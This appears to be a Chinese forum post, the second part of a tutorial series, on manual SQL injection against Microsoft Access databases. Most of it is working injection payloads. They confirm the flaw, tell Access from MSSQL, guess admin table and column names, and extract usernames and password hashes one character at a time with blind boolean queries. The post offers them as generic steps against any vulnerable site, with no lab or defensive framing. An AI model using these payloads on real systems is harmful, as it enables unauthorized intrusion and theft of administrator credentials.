无名 发表于 2022-5-8 18:15:49

SQL注入第二篇-Access数据库手工注入

Access数据库手工注入

方法一
判断注入
' 出现错误 –可能存在注入漏洞
and 1=1 返回正确
and 1=2 返回错误 说明存在注入漏洞

判断数据库
and (select count(*) from msysobjects)>0 返回权限不足为access数据库
and (select count(*) from sysobjects)>0 返回正常则为MSSQL数据库

猜表名列名
and exists (select * from 表名) 猜测表名
and exists (select 列名 from 表名) 猜测列名

如:
判断是否存在admin的表:and exists (select * from admin)
判断是否存在username的列:and exists (select username from admin)
判断是否存在password的列:and exists (select password from admin)

猜解用户名和密码长度
and (select top 1 len(列名) from 表名)=X X代表数字,返回正确时代表所猜的列名长度为这个数字

如:
判断用户名的长度是否大于零:and (select top 1 len(username) from admin)>0
判断用户名的长度是否大于四:and (select top 1 len(username) from admin)>4
判断用户名的长度是否大于五:and (select top 1 len(username) from admin)>5
用户名一般都是admin,大于四返回正确,当大于五返回出错,那么他的长度就是5,密码一般是MD5加密的,所以一般都为16或32位。

猜解用户和密码的ascii码
这里应该采用截半法来提高效率。ascii码0-126。

例:
and(select top 1 asc(mid(username,1,1))from admin)>97 返回错误
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110

password同理

ascii码对照表: http://ascii.911cha.com/

好像不支持写很多内容 剩下的笔记 在下面链接中 有需要的自己在博客中看一下吧
(视频在链接文章中划到最下面点在线观看就可以在线看了)
http://mucn.site/index.php/archives/59/
http://cdn.u1.huluxia.com/g3/M01/55/B5/wKgBOV5P6_2AFCL-AABGo5qMssk604.jpghttp://cdn.u1.huluxia.com/g3/M01/55/B5/wKgBOV5P6_6AIZ4CAAFZU7X02Wk055.jpg
页: [1]
查看完整版本: SQL注入第二篇-Access数据库手工注入